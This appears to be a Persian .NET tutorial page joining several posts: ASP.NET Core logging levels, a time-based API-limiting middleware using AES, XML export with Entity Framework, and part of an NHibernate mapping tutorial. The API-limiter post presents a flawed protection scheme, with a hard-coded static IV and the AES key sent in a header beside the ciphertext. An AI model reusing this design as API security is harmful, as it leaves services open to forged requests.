سیستم Logging  در نسخه Core بصورت پیشفرض موجود هست، اما در پروژه‌های غیر Core اگر نیاز به استفاده از آن را داشتید باید اول پکیج Microsoft.Extensions.Logging.Console را نصب کنید. طریقه استفاده ازین سیستم بسیار راحت بوده و کانفیگ خیلی خاصی ندارد؛ اما قبل از استفاده باید با اصطلاحات اولیه آن آشنا بشیم. چیزی که مسئولیت ثبت Log در برنامه‌های Core را دارد Logging Api تعریف شده در خود پلتفرم Asp.Net Core میباشد. Log‌ها طبق این سیستم ذخیره میشوند و توسط Provider‌های مختلف قابل نمایش میباشند. اما Logging Provider چیست؟ ابزاری که با استفاده از آن میتوانیم Log‌های ذخیره شده توسط Logger را مشاهده کنیم و یا بعضا دستور ذخیره Log‌ها را به Logger  ارسال کنیم. در ادامه لیستی از Logging Provider‌های موجود را میبینیم که شامل Debug  , Console , EventSource , EventLog , AzureAppService , Application Insights و... میباشد. Log Provider‌های متنوعی وجود دارند که بعضی از آن‌ها مزایا و معایب خود را دارند و قابل همگام سازی با سیستم Asp.Net Core Logging میباشند مثل Provider‌های Serilog , NLog و دیگر پکیج‌هایی که برای این موضوع وجود دارند. در وهله بعد وقتی صحبت از ذخیره Log‌ها به میان میاید تعاریفی برای درجه اهمیت هر Log و الویت بندی Log‌ها مطابق اهمیتشان وجود دارد که به ما کمک میکند دسته بندی و نظم بهتری در Log‌های برنامه خودمان بیابیم. به این الویت‌ها اصطلاحا Log Level گفته میشود که به شرح زیر میباشد.
◾️الویت 0  Trace
گزارش‌هایی که شامل دقیق‌ترین پیام‌ها هستند. این پیام‌ها ممکن است حاوی داده‌های حساس برنامه باشند. این پیام‌ها به طور پیش فرض غیرفعال هستند و هرگز نباید در محیط تولید فعال شوند.

◾️الویت 1 Debug
اطلاعات مربوط به بررسی لحظه‌ای در حین رفع خطا یا روند Debugging. این گزارش‌ها در درجه اول باید حاوی اطلاعات مفیدی برای رفع اشکال باشند و هیچ ارزش طولانی مدتی ندارند.

◾️الویت 2 Information
گزارش‌هایی که جریان کلی برنامه را ردیابی می‌کنند. این Log‌ها باید چرخه درازمدت داشته باشند.

◾️الویت 3 Warning
گزارش‌هایی که یک رویداد غیر عادی یا غیر منتظره را در جریان برنامه ثبت میکنند؛ اما در غیر این صورت باعث توقف اجرای برنامه نمی‌شوند.

◾️الویت 4 Error
گزارش‌هایی که هنگام توقف جریان اجرای فعلی به دلیل خرابی، ثبت می‌شوند. اینها باید نشان دهنده‌ی یک شکست در فعالیت فعلی باشند، نه یک شکست در کل برنامه.

◾️الویت 5 Critical
اطلاعات غیرقابل بازیابی برنامه یا خرابی سیستم که نیاز به توجه فوری دارند.

برای فعالسازی Logging پیشفرض در Core ابتدا باید در کلاس Program، برنامه Provider مورد استفاده را مشخص کنید. اطلاعات مربوط به Log Level نمایشی برنامه در فایل AppSettingJson قرار دارد که معمولا Log Level نمایشی روی Information قرار دارد و Log هایی با الویت کمتر از Information را نمایش نمیدهد. میتوانید با تغیر در سطح الویت LogLevel اطلاعات مربوط به سطوح پایین‌تر یعنی Trace و  Debug را نیز مشاهده کنید.
روش‌های دیگری نیز برای دسته بندی Log‌ها وجود دارند از جمله Log Category یا Log Event Id که میتوانید به سادگی از آن‌ها استفاده کنید و دسته بندی دلخواه خود را برای Log‌ها در برنامه داشته باشید. 
مطالب
روشی برای محدود کردن API ها که هر درخواست با یک Key جدید و منحصر به فرد قابل فراخوانی باشد ( Time-based One-time Password )
TOTPیک الگوریتمی است که از ساعت برای تولید رمزهای یکبارمصرف استفاده میکند. به این صورت که در هر لحظه یک کد منحصر به فرد تولید خواهد شد. اگر با برنامه Google Authenticator کار کرده باشید این مفهوم برایتان اشناست. 
در این مطلب میخواهیم سناریویی را پیاده سازی کنیم که برای فراخوانی API‌ها باید یک رمز منحصر به فرد همراه توکن ارسال کنند. برای انجام این کار هر کاربر و یا کلاینتی که بخواهد از API استفاده کند در ابتدا باید لاگین کند و بعد از لاگین یک ClientSecret به طول 16 کاراکتر به همراه توکن به او ارسال میکنیم. از ClientSecret برای رمزنگاری کد ارسال شده ( TOTP ) استفاده میکنیم. مانند Public/Private key یک Key ثابت در سمت سرور و یک Key ثابت در برنامه موبایل وجود دارد و هنگام رمزنگاری TOTP علاوه بر Key موجود در موبایل و سرور از ClientSecret خود کاربر هم استفاده میکنیم تا TOTP بوجود آمده کاملا منحصر به فرد باشد. ( مقدار TOTP را با استفاده از دو کلید Key و ClientSecret رمزنگاری میکنیم ).
در این مثال تاریخ فعلی را ( UTC )  قبل از فراخوانی API در موبایل میگیریم و Ticks آن را در یک مدل ذخیره میکنیم. سپس مدل که شامل تایم فعلی میباشد را سریالایز میکنیم و به string تبدیل میکنیم سپس رشته بدست آمده را با استفاده از الگوریتم AES رمزنگاری میکنیم با استفاده از Key ثابت و ClientSecret. سپس این مقدار بدست آمده را در هدر Request-Key قرار میدهیم. توجه داشته باشید باید ClientSecret هم در یک هدر دیگر به سمت سرور ارسال شود زیرا با استفاده از این ClientSecret عملیات رمزگشایی مهیا میشود. به عنوان مثال ساعت فعلی به صورت Ticks به این صورت میباشد "637345971787256752 ". این عدد از نوع long است و با گذر زمان مقدار آن بیشتر میشود. در نهایت مدل نهایی سریالایز شده به این صورت است :
{"DateTimeUtcTicks":637345812872371593}
و مقدار رمزنگاری شده برابر است با :
g/ibfD2M3uE1RhEGxt8/jKcmpW2zhU1kKjVRC7CyrHiCHkdaAmLOwziBATFnHyJ3
مدل ارسالی شامل یک پراپرتی به نام DateTimeUtcTicks است که از نوع long میباشد و این مدل را قبل از فراخوانی API ایجاد میکند و مقدار رمزنگاری شده بدست آمده را در هدر Request-Key قرار میدهد به همراه ClientSecret در هدر مربوط به ClientSecret. این عمل در سمت موبایل باید انجام شود و در سمت سرور باید با استفاده از ClientSecret ارسال شده و Key ثابت در سرور این هدر را رمزگشایی کنند. چون این کار زیاد وقت گیر نیست و نهایتا یک دقیقه اختلاف زمان بین درخواست ارسال شده و زمان دریافت درخواست در سرور وجود دارد, در سمت سرور مقدار بدست آمده ( مقدار ارسال شده DateTimeUtcTicks که رمزگشایی شده است ) را اینگونه حساب میکنیم که مقدار ارسال شده از یک دقیقه قبل زمان فعلی باید بیشتر یا مساوی باشد و از تاریخ فعلی باید کوچکتر مساوی باشد. به این صورت 
var dateTimeNow = DateTime.UtcNow;
var expireTimeFrom = dateTimeNow.AddMinutes(-1).Ticks;
var expireTimeTo = dateTimeNow.Ticks;

string clientSecret = httpContext.Request.Headers["ClientSecret"].ToString();
string decryptedRequestHeader = AesProvider.Decrypt(requestKeyHeader, clientSecret);
var requestKeyData = System.Text.Json.JsonSerializer.Deserialize<ApiLimiterDto>(decryptedRequestHeader);

if (requestKeyData.DateTimeUtcTicks >= expireTimeFrom && requestKeyData.DateTimeUtcTicks <= expireTimeTo)
و در نهایت اگر مقدار ارسال شده در بین این بازه باشد به معنی معتبر بودن درخواست میباشد در غیر این صورت باید خطای مربوطه را به کاربر نمایش دهیم. در ادامه برای پیاده  پیاده سازی این سناریو از یک Middleware استفاده کرده‌ایم که ابتدا بررسی میکند آیا درخواست ارسال شده حاوی هدر Request-Key و ClientSecret میباشد یا خیر؟ اگر هدر خالی باشد یا مقدار هدر نال باشد، خطای 403 را به کاربر نمایش میدهیم. برای جلوگیری از استفاده‌ی مجدد از هدر رمزنگاری شده، هنگامیکه اولین درخواست به سمت سرور ارسال میشود، رشته‌ی رمزنگاری شده را در کش ذخیره میکنیم و اگر مجددا همان رشته را ارسال کند، اجازه‌ی دسترسی به API را به او نخواهیم داد. کش را به مدت 2 دقیقه نگه میداریم؛ چون برای هر درخواست نهایتا یک دقیقه اختلاف زمانی را در نظر گرفته‌ایم. 
 در ادامه اگر رشته‌ی رمزنگاری شده در کش موجود باشد، مجددا پیغام "Forbidden: You don't have permission to call this api" را به کاربر نمایش میدهیم؛ زیرا به این معناست که رشته‌ی رمزنگاری شده قبلا ارسال شده است. سپس رشته رمزنگاری شده را رمزگشایی میکنیم و به مدل ApiLimiterDto دیسریالایز میکنیم و بررسی میکنیم که مقدار Ticks ارسال شده از طرف موبایل، از یک دقیقه قبل بیشتر بوده و از زمان حال کمتر باشد. اگر در بین این دو بازه باشد، یعنی درخواست معتبر هست و اجازه فراخوانی API را دارد؛ در غیر این صورت پیغام 403 را به کاربر نمایش میدهیم.
مدل ApiLimiterDto   :
public class ApiLimiterDto
{
    public long DateTimeUtcTicks { get; set; }
}
میان افزار :
public class ApiLimiterMiddleware
{
    private readonly RequestDelegate _next;
    private readonly IDistributedCache _cache;

    public ApiLimiterMiddleware(RequestDelegate next, IDistributedCache cache)
    {
        _next = next;
        _cache = cache;
    }
    private const string requestKey = "Request-Key";
    private const string clientSecretHeader = "ClientSecret";
    public async Task InvokeAsync(HttpContext httpContext)
    {
        if (!httpContext.Request.Headers.ContainsKey(requestKey) || !httpContext.Request.Headers.ContainsKey(clientSecretHeader))
        {
            await WriteToReponseAsync();
            return;
        }

        var requestKeyHeader = httpContext.Request.Headers[requestKey].ToString();
        string clientSecret = httpContext.Request.Headers[clientSecretHeader].ToString();
        if (string.IsNullOrEmpty(requestKeyHeader) || string.IsNullOrEmpty(clientSecret))
        {
            await WriteToReponseAsync();
            return;
        }
        //اگر کلید در کش موجود بود یعنی کاربر از کلید تکراری استفاده کرده است
        if (_cache.GetString(requestKeyHeader) != null)
        {
            await WriteToReponseAsync();
            return;
        }
        var dateTimeNow = DateTime.UtcNow;
        var expireTimeFrom = dateTimeNow.AddMinutes(-1).Ticks;
        var expireTimeTo = dateTimeNow.Ticks;

        string decryptedRequestHeader = AesProvider.Decrypt(requestKeyHeader, clientSecret);
        var requestKeyData = System.Text.Json.JsonSerializer.Deserialize<ApiLimiterDto>(decryptedRequestHeader);

        if (requestKeyData.DateTimeUtcTicks >= expireTimeFrom && requestKeyData.DateTimeUtcTicks <= expireTimeTo)
        {
            //ذخیره کلید درخواست در کش برای جلوگیری از استفاده مجدد از کلید
            await _cache.SetAsync(requestKeyHeader, Encoding.UTF8.GetBytes("KeyExist"), new DistributedCacheEntryOptions
            {
                AbsoluteExpiration = DateTimeOffset.Now.AddMinutes(2)
            });
            await _next(httpContext);
        }
        else
        {
            await WriteToReponseAsync();
            return;
        }

        async Task WriteToReponseAsync()
        {
            httpContext.Response.StatusCode = (int)HttpStatusCode.Forbidden;
            await httpContext.Response.WriteAsync("Forbidden: You don't have permission to call this api");
        }
    }
}
برای رمزنگاری و رمزگشایی، یک کلاس را به نام AesProvider ایجاد کرده‌ایم که عملیات رمزنگاری و رمزگشایی را فراهم میکند.
public static class AesProvider
{
    private static byte[] GetIV()
    {
        //این کد ثابتی است که باید در سمت سرور و موبایل موجود باشد
        return encoding.GetBytes("ThisIsASecretKey");
    }
    public static string Encrypt(string plainText, string key)
    {
        try
        {
            var aes = GetRijndael(key);
            ICryptoTransform AESEncrypt = aes.CreateEncryptor(aes.Key, aes.IV);
            byte[] buffer = encoding.GetBytes(plainText);
            string encryptedText = Convert.ToBase64String(AESEncrypt.TransformFinalBlock(buffer, 0, buffer.Length));
            return encryptedText;
        }
        catch (Exception)
        {
            throw new Exception("an error occurred when encrypting");
        }
    }
    private static RijndaelManaged GetRijndael(string key)
    {
        return new RijndaelManaged
        {
            KeySize = 128,
            BlockSize = 128,
            Padding = PaddingMode.PKCS7,
            Mode = CipherMode.CBC,
            Key = encoding.GetBytes(key),
            IV = GetIV()
        };
    }
    private static readonly Encoding encoding = Encoding.UTF8;
    public static string Decrypt(string plainText, string key)
    {
        try
        {
            var aes = GetRijndael(key);
            ICryptoTransform AESDecrypt = aes.CreateDecryptor(aes.Key, aes.IV);
            byte[] buffer = Convert.FromBase64String(plainText);

            return encoding.GetString(AESDecrypt.TransformFinalBlock(buffer, 0, buffer.Length));
        }
        catch (Exception)
        {
            throw new Exception("an error occurred when decrypting");
        }
    }
}
متد Decrypt و Encrypt یک ورودی به نام key دریافت میکنند که از هدر ClientSecret دریافت میشود. در سمت سرور عملا عمل Decrypt انجام میشود و Encrypt برای این مثال در سمت سرور کاربردی ندارد. 
برای رمزنگاری با استفاده از روش AES، چون از 128 بیت استفاده کرده‌ایم، باید طول متغییر key برابر 16 کاراکتر باشد و IV هم باید کمتر یا برابر 16 کاراکتر باشد.
در نهایت برای استفاده از این میان افزار میتوانیم از MiddlewareFilter استفاده کنیم که برای برخی از api‌های مورد نظر از آن استفاده کنیم.
کلاس ApiLimiterPipeline :
public class ApiLimiterPipeline
{
    public void Configure(IApplicationBuilder app)
    {
        app.UseMiddleware<ApiLimiterMiddleware>();
    }
}
نحوه استفاده از میان افزار برای یک اکشن خاص :
[Route("api/[controller]/[action]")]
[ApiController]
public class ValuesController : ControllerBase
{
    [MiddlewareFilter(typeof(ApiLimiterPipeline))]
    public async Task<IActionResult> Get()
    {
        return Ok("Hi");
    }
}

نظرات مطالب
EF Code First #1
در هر فناوری مرتبط با دات نت که کل دات نت فریم ورک در دسترس باشد، قابل استفاده است. از WPF تا WinForms تا WCF و انواع و اقسام برنامه‌های وب؛ از ویندوز سرویس تا یک برنامه‌ی کنسول ساده.
مطالب
تهیه خروجی XML از یک بانک اطلاعاتی، توسط EF Code first
نگارش کامل SQL Server امکان تهیه خروجی XML از یک بانک اطلاعاتی را دارد. اما اگر بخواهیم از سایر بانک‌های اطلاعاتی که چنین توابع توکاری ندارند، استفاده کنیم چطور؟ برای تهیه خروجی XML توسط Entity framework و مستقل از نوع بانک اطلاعاتی در حال استفاده، حداقل دو روش وجود دارد:

الف) استفاده از امکانات Serialization توکار دات نت

using System.IO;
using System.Xml;
using System.Xml.Serialization;

namespace DNTViewer.Common.Toolkit
{
    public static class Serializer
    {
        public static string Serialize<T>(T type)
        {
            var serializer = new XmlSerializer(type.GetType());
            using (var stream = new MemoryStream())
            {
                serializer.Serialize(stream, type);
                stream.Seek(0, SeekOrigin.Begin);
                using (var reader = new StreamReader(stream))
                {
                    return reader.ReadToEnd();
                }
            }
        }
    }
}
در اینجا برای نمونه، لیستی از اشیاء مدنظر خود را تهیه کرده و به متد Serialize فوق ارسال کنید. نتیجه کار، تهیه معادل XML آن است.
امکانات سفارشی سازی محدودی نیز برای XmlSerializer درنظر گرفته شده است؛ برای نمونه قرار دادن ویژگی‌هایی مانند XmlIgnore بالای خواصی که نیازی به حضور آن‌ها در خروجی نهایی XML نمی‌باشد.


ب) استفاده از امکانات LINQ to XML دات نت

روش فوق بدون مشکل کار می‌کند، اما اگر بخواهیم قسمت Reflection خودکار ثانویه آن‌را (برای نمونه جهت استخراج مقادیر از لیست دریافتی) حذف کنیم، می‌توان از LINQ to XML استفاده کرد که قابلیت سفارشی سازی بیشتری را نیز در اختیار ما قرار می‌دهد (کاری که در سایت جاری برای تهیه خروجی XML از بانک اطلاعاتی آن انجام می‌شود).

        private string createXmlFile(string dir)
        {
            var xLinq = new XElement("ArrayOfPost",
                        _blogPosts
                            .AsNoTracking()
                            .Include(x => x.Comments)
                            .Include(x => x.User)
                            .Include(x => x.Tags)
                            .OrderBy(x => x.Id)
                            .ToList()
                            .Select(x => new XElement("Post", postXElement(x)))
                            );

            var xmlFile = Path.Combine(dir, "dot-net-tips-database.xml");
            xLinq.Save(xmlFile);
            return xmlFile;
        }

        private static XElement[] postXElement(BlogPost x)
        {
            return new XElement[]
            {
                new XElement("Id", x.Id),
                new XElement("Title", x.Title),
                new XElement("Body", x.Body),
                new XElement("CreatedOn", x.CreatedOn),
                tagElement(x),
                new XElement("User",
                                new XElement("Id", x.UserId.Value),
                                new XElement("FriendlyName", x.User.FriendlyName))
            }.Where(item => item != null).ToArray();
        }

        private static XElement tagElement(BlogPost x)
        {
            var tags = x.Tags.Any() ?
                            x.Tags.Select(y =>
                                        new XElement("Tag",
                                                new XElement("Id", y.Id),
                                                new XElement("Name", y.Name)))
                                  .ToArray() : null;
            if (tags == null)
                return null;

            return new XElement("Tags", tags);
        }
خلاصه‌ای از نحوه تبدیل اطلاعات لیستی از مطالب را به معادل XML آن در کدهای فوق مشاهده می‌کنید. یک سری نکات ریز نیز باید در اینجا رعایت شوند:
1) کار با یک new XElement که دارای متد Save با فرمت XML نیز هست، شروع می‌شود. مقدار آن‌را مساوی یک کوئری از بانک اطلاعاتی قرار می‌دهیم. این کوئری چون قرار است تنها اطلاعاتی را از بانک اطلاعاتی دریافت کند و نیازی به تغییر در آن‌ها نیست، با استفاده از متد AsNoTracking، حالت فقط خواندنی پیدا کرده است.
2) اطلاعاتی را که نیاز است در فایل نهایی XML وجود داشته باشند، تنها کافی است در قسمت Select این کوئری با فرمت new XElement‌های تو در تو قرار دهیم. به این ترتیب قسمت Relection خودکار XmlSerializer روش مطرح شده در ابتدای بحث دیگر وجود نداشته و عملیات نهایی بسیار سریعتر خواهد بود.
3) چون در این حالت، کار انجام شده دستی است، باید نام‌های گره‌های صحیحی را انتخاب کنیم تا اگر قرار است توسط همان XmlSerializer مجددا کار serializer.Deserialize صورت گیرد، عملیات با شکست مواجه نشود. بهترین کار برای کم شدن سعی و خطاها، تهیه یک لیست اطلاعات آزمایشی و سپس ارسال آن به روش ابتدای بحث است. سپس می‌توان با بررسی خروجی آن مثلا دریافت که روش serializer.Deserialize به صورت پیش فرض به دنبال ریشه‌ای به نام ArrayOfPost برای دریافت لیستی از مطالب می‌گردد و نه Posts یا هر نام دیگری.
4) در کوئری LINQ to Entites نوشته شده، پیش از Select، یک ToList قرار دارد. متاسفانه EF اجازه استفاده مستقیم از Select هایی از نوع XElement را نمی‌دهد و باید ابتدا اطلاعات را تبدیل به LINQ to Objects کرد.
5) در حین تهیه XElement‌ها اگر قرار است عنصری نال باشد، باید آن‌را در خروجی نهایی ذکر نکرد. به این ترتیب serializer.Deserialize بدون نیاز به تنظیمات اضافه‌تری بدون مشکل کار خواهد کرد. در غیراینصورت باید وارد مباحثی مانند تعریف یک فضای نام جدید برای خروجی XML به نام XSI رفت و سپس به کمک ویژگی‌ها، xsi:nil را به true مقدار دهی کرد. اما همانطور که در متد postXElement ملاحظه می‌کنید، برای وارد نشدن به مبحث فضای نام xsi، مواردی که null بوده‌اند، اصلا در آرایه نهایی ظاهر نمی‌شوند و نهایتا در خروجی، حضور نخواهند داشت. به این ترتیب متد ذیل، بدون مشکل و بدون نیاز به تنظیمات اضافه‌تری قادر است فایل XML نهایی را تبدیل به معادل اشیاء دات نتی آن کند.

using System.IO;
using System.Xml;
using System.Xml.Serialization;

namespace DNTViewer.Common.Toolkit
{
    public static class Serializer
    {
        public static T DeserializePath<T>(string xmlAddress)
        {
            using (var xmlReader = new XmlTextReader(xmlAddress))
                {
                    var serializer = new XmlSerializer(typeof(T));
                    return (T)serializer.Deserialize(xmlReader);
                }
        }
    }
}
مطالب
آشنایی با NHibernate - قسمت سوم

در ادامه، تعاریف سایر موجودیت‌های سیستم ثبت سفارشات و نگاشت آن‌ها را بررسی خواهیم کرد.

کلاس Product تعریف شده در فایل جدید Product.cs در پوشه domain برنامه:

namespace NHSample1.Domain
{
public class Product
{
public int Id { get; set; }
public string Name { get; set; }
public decimal UnitPrice { get; set; }
public bool Discontinued { get; set; }
}
}
کلاس ProductMapping تعریف شده در فایل جدید ProductMapping.cs (توصیه شده است که به ازای هر کلاس یک فایل جداگانه در نظر گرفته شود)، در پوشه Mappings برنامه:

using FluentNHibernate.Mapping;
using NHSample1.Domain;

namespace NHSample1.Mappings
{
public class ProductMapping : ClassMap<Product>
{
public ProductMapping()
{
Not.LazyLoad();
Id(p => p.Id).GeneratedBy.HiLo("1000");
Map(p => p.Name).Length(50).Not.Nullable();
Map(p => p.UnitPrice).Not.Nullable();
Map(p => p.Discontinued).Not.Nullable();
}
}
}
همانطور که ملاحظه می‌کنید، روش تعریف آن‌ها همانند شیء Customer است که در قسمت‌های قبل بررسی شد و نکته جدیدی ندارد.
آزمون واحد بررسی این نگاشت نیز همانند مثال قبلی است.
کلاس ProductMapping_Fixture را در فایل جدید ProductMapping_Fixture.cs به پروژه UnitTests خود (که ارجاعات آن‌را در قسمت قبل مشخص کردیم) خواهیم افزود:

using NUnit.Framework;
using FluentNHibernate.Testing;
using NHSample1.Domain;

namespace UnitTests
{
[TestFixture]
public class ProductMapping_Fixture : FixtureBase
{
[Test]
public void can_correctly_map_product()
{
new PersistenceSpecification<Product>(Session)
.CheckProperty(p => p.Id, 1001)
.CheckProperty(p => p.Name, "Apples")
.CheckProperty(p => p.UnitPrice, 10.45m)
.CheckProperty(p => p.Discontinued, true)
.VerifyTheMappings();
}
}
}
و پس از اجرای این آزمون واحد، عبارات SQL ایی که به صورت خودکار توسط این ORM جهت بررسی عملیات نگاشت صورت خواهند گرفت به صورت زیر می‌باشند:

ProductMapping_Fixture.can_correctly_map_product : Passed
NHibernate: select next_hi from hibernate_unique_key
NHibernate: update hibernate_unique_key set next_hi = @p0 where next_hi = @p1;@p0 = 2, @p1 = 1
NHibernate: INSERT INTO "Product" (Name, UnitPrice, Discontinued, Id) VALUES (@p0, @p1, @p2, @p3);@p0 = 'Apples', @p1 = 10.45, @p2 = True, @p3 = 1001
NHibernate: SELECT product0_.Id as Id1_0_, product0_.Name as Name1_0_, product0_.UnitPrice as UnitPrice1_0_, product0_.Discontinued as Disconti4_1_0_ FROM "Product" product0_ WHERE product0_.Id=@p0;@p0 = 1001

در ادامه تعریف کلاس کارمند، نگاشت و آزمون واحد آن به صورت زیر خواهند بود:

using System;
namespace NHSample1.Domain
{
public class Employee
{
public int Id { set; get; }
public string LastName { get; set; }
public string FirstName { get; set; }
}
}


using NHSample1.Domain;
using FluentNHibernate.Mapping;

namespace NHSample1.Mappings
{
public class EmployeeMapping : ClassMap<Employee>
{
public EmployeeMapping()
{
Not.LazyLoad();
Id(e => e.Id).GeneratedBy.Assigned();
Map(e => e.LastName).Length(50);
Map(e => e.FirstName).Length(50);
}
}
}


using NUnit.Framework;
using NHSample1.Domain;
using FluentNHibernate.Testing;

namespace UnitTests
{
[TestFixture]
public class EmployeeMapping_Fixture : FixtureBase
{
[Test]
public void can_correctly_map_employee()
{
new PersistenceSpecification<Employee>(Session)
.CheckProperty(p => p.Id, 1001)
.CheckProperty(p => p.FirstName, "name1")
.CheckProperty(p => p.LastName, "lname1")
.VerifyTheMappings();
}
}
}
خروجی SQL حاصل از موفقیت آزمون واحد آن:

NHibernate: select next_hi from hibernate_unique_key
NHibernate: update hibernate_unique_key set next_hi = @p0 where next_hi = @p1;@p0 = 2, @p1 = 1
NHibernate: INSERT INTO "Employee" (LastName, FirstName, Id) VALUES (@p0, @p1, @p2);@p0 = 'lname1', @p1 = 'name1', @p2 = 1001
NHibernate: SELECT employee0_.Id as Id4_0_, employee0_.LastName as LastName4_0_, employee0_.FirstName as FirstName4_0_ FROM "Employee" employee0_ WHERE employee0_.Id=@p0;@p0 = 1001

همانطور که ملاحظه می‌کنید، این آزمون‌های واحد 4 مرحله را در یک سطر انجام می‌دهند:
الف) ایجاد یک وهله از کلاس Employee
ب) ثبت اطلاعات کارمند در دیتابیس
ج) دریافت اطلاعات کارمند در وهله‌ای جدید از شیء Employee
د) و در پایان بررسی می‌کند که آیا شیء جدید ایجاد شده با شیء اولیه مطابقت دارد یا خیر

اکنون در ادامه پیاده سازی سیستم ثبت سفارشات، به قسمت جالب این مدل می‌رسیم. قسمتی که در آن ارتباطات اشیاء و روابط one-to-many تعریف خواهند شد. تعاریف کلاس‌های OrderItem و OrderItemMapping را به صورت زیر در نظر بگیرید:

کلاس OrderItem تعریف شده در فایل جدید OrderItem.cs واقع شده در پوشه domain پروژه:
که در آن هر سفارش (order) دقیقا از یک محصول (product) تشکیل می‌شود و هر محصول می‌تواند در سفارشات متعدد و مختلفی درخواست شود.

namespace NHSample1.Domain
{
public class OrderItem
{
public int Id { get; set; }
public int Quantity { get; set; }
public Product Product { get; set; }
}
}
کلاس OrderItemMapping تعریف شده در فایل جدید OrderItemMapping.cs :

using FluentNHibernate.Mapping;
using NHSample1.Domain;

namespace NHSample1.Mappings
{
public class OrderItemMapping : ClassMap<OrderItem>
{
public OrderItemMapping()
{
Not.LazyLoad();
Id(oi => oi.Id).GeneratedBy.Assigned();
Map(oi => oi.Quantity).Not.Nullable();
References(oi => oi.Product).Not.Nullable();
}
}
}
نکته جدیدی که در این کلاس نگاشت مطرح شده است، واژه کلیدی References می‌باشد که جهت بیان این ارجاعات و وابستگی‌ها بکار می‌رود. این ارجاع بیانگر یک رابطه many-to-one بین سفارشات و محصولات است. همچنین در ادامه آن Not.Nullable ذکر شده است تا این ارجاع را اجباری نمائید (در غیر اینصورت سفارش غیر معتبر خواهد بود).
نکته‌ی دیگر مهم آن این مورد است که Id در اینجا به صورت یک کلید تعریف نشده است. یک آیتم سفارش داده شده، موجودیت به حساب نیامده و فقط یک شیء مقداری (value object) است و به خودی خود امکان وجود ندارد. هر وهله از آن تنها توسط یک سفارش قابل تعریف است. بنابراین id در اینجا فقط به عنوان یک index می‌تواند مورد استفاده قرار گیرد و فقط توسط شیء Order زمانیکه یک OrderItem به آن اضافه می‌شود، مقدار دهی خواهد شد.

اگر برای این نگاشت نیز آزمون واحد تهیه کنیم، به صورت زیر خواهد بود:

using NUnit.Framework;
using NHSample1.Domain;
using FluentNHibernate.Testing;

namespace UnitTests
{
[TestFixture]
public class OrderItemMapping_Fixture : FixtureBase
{
[Test]
public void can_correctly_map_order_item()
{
var product = new Product
{
Name = "Apples",
UnitPrice = 4.5m,
Discontinued = true
};

new PersistenceSpecification<OrderItem>(Session)
.CheckProperty(p => p.Id, 1)
.CheckProperty(p => p.Quantity, 5)
.CheckReference(p => p.Product, product)
.VerifyTheMappings();
}
}
}

مشکل! این آزمون واحد با شکست مواجه خواهد شد، زیرا هنوز مشخص نکرده‌ایم که دو شیء Product را که در قسمت CheckReference فوق برای این منظور معرفی کرده‌ایم، چگونه باید با هم مقایسه کرد. در مورد مقایسه نوع‌های اولیه و اصلی مانند int و string و امثال آن مشکلی نیست، اما باید منطق مقایسه سایر اشیاء سفارشی خود را با پیاده سازی اینترفیس IEqualityComparer دقیقا مشخص سازیم:

using System.Collections;
using NHSample1.Domain;

namespace UnitTests
{
public class CustomEqualityComparer : IEqualityComparer
{
public bool Equals(object x, object y)
{
if (ReferenceEquals(x, y)) return true;
if (x == null || y == null) return false;

if (x is Product && y is Product)
return (x as Product).Id == (y as Product).Id;

if (x is Customer && y is Customer)
return (x as Customer).Id == (y as Customer).Id;

if (x is Employee && y is Employee)
return (x as Employee).Id == (y as Employee).Id;

if (x is OrderItem && y is OrderItem)
return (x as OrderItem).Id == (y as OrderItem).Id;


return x.Equals(y);
}

public int GetHashCode(object obj)
{
//شاید وقتی دیگر
return obj.GetHashCode();
}
}
}
در اینجا فقط Id این اشیاء با هم مقایسه شده است. در صورت نیاز تمامی خاصیت‌های این اشیاء را نیز می‌توان با هم مقایسه کرد (یک سری از اشیاء بکار گرفته شده در این کلاس در ادامه بحث معرفی خواهند شد).
سپس برای بکار گیری این کلاس جدید، سطر مربوط به استفاده از PersistenceSpecification به صورت زیر تغییر خواهد کرد:

new PersistenceSpecification<OrderItem>(Session, new CustomEqualityComparer())

پس از این تغییرات و مشخص سازی نحوه‌ی مقایسه دو شیء سفارشی، آزمون واحد ما پاس شده و خروجی SQL تولید شده آن به صورت زیر می‌باشد:

NHibernate: select next_hi from hibernate_unique_key
NHibernate: update hibernate_unique_key set next_hi = @p0 where next_hi = @p1;@p0 = 2, @p1 = 1
NHibernate: INSERT INTO "Product" (Name, UnitPrice, Discontinued, Id) VALUES (@p0, @p1, @p2, @p3);@p0 = 'Apples', @p1 = 4.5, @p2 = True, @p3 = 1001
NHibernate: INSERT INTO "OrderItem" (Quantity, Product_id, Id) VALUES (@p0, @p1, @p2);@p0 = 5, @p1 = 1001, @p2 = 1
NHibernate: SELECT orderitem0_.Id as Id0_1_, orderitem0_.Quantity as Quantity0_1_, orderitem0_.Product_id as Product3_0_1_, product1_.Id as Id3_0_, product1_.Name as Name3_0_, product1_.UnitPrice as UnitPrice3_0_, product1_.Discontinued as Disconti4_3_0_ FROM "OrderItem" orderitem0_ inner join "Product" product1_ on orderitem0_.Product_id=product1_.Id WHERE orderitem0_.Id=@p0;@p0 = 1

قسمت پایانی کار تعاریف کلاس‌های نگاشت، مربوط به کلاس Order است که در ادامه بررسی خواهد شد.

using System;
using System.Collections.Generic;

namespace NHSample1.Domain
{
public class Order
{
public int Id { set; get; }
public DateTime OrderDate { get; set; }
public Employee Employee { get; set; }
public Customer Customer { get; set; }
public IList<OrderItem> OrderItems { get; set; }
}
}
نکته‌ی مهمی که در این کلاس وجود دارد استفاده از IList جهت معرفی مجموعه‌ای از آیتم‌های سفارشی است (بجای List و یا IEnumerable که در صورت استفاده خطای type cast exception در حین نگاشت حاصل می‌شد).

using NHSample1.Domain;
using FluentNHibernate.Mapping;

namespace NHSample1.Mappings
{
public class OrderMapping : ClassMap<Order>
{
public OrderMapping()
{
Not.LazyLoad();
Id(o => o.Id).GeneratedBy.GuidComb();
Map(o => o.OrderDate).Not.Nullable();
References(o => o.Employee).Not.Nullable();
References(o => o.Customer).Not.Nullable();
HasMany(o => o.OrderItems)
.AsList(index => index.Column("ListIndex").Type<int>());
}
}
}
در تعاریف نگاشت این کلاس نیز دو ارجاع به اشیاء کارمند و مشتری وجود دارد که با References مشخص شده‌اند.
قسمت جدید آن HasMany است که جهت تعریف رابطه one-to-many بکار گرفته شده است. یک سفارش رابطه many-to-one با یک مشتری و همچنین کارمندی که این رکورد را ثبت می‌کند، دارد. در اینجا مجموعه آیتم‌های یک سفارش به صورت یک لیست بازگشت داده می‌شود و ایندکس آن به ستونی به نام ListIndex در یک جدول دیتابیس نگاشت خواهد شد. نوع این ستون، int می‌باشد.

using System;
using System.Collections.Generic;
